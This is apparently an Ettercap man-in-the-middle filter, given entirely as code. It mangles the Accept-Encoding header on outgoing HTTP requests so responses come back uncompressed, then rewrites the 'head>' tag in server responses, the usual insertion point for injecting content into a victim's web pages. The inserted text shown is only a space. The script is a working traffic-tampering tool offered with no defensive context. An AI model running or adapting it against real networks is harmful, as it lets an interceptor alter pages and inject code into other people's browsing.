\uFEFFif (ip.proto == TCP && tcp.dst == 80) { if (search(DATA.data, "Accept-Encoding")) { replace("Accept-Encoding", "Accept-gnidocnE"); # note: replacement string is same length as original string msg("Encoding Taken Care Of...\n"); } } if (ip.proto == TCP && tcp.src == 80) { replace("head>", "head> "); msg("Replacement Filter Ran.\n"); }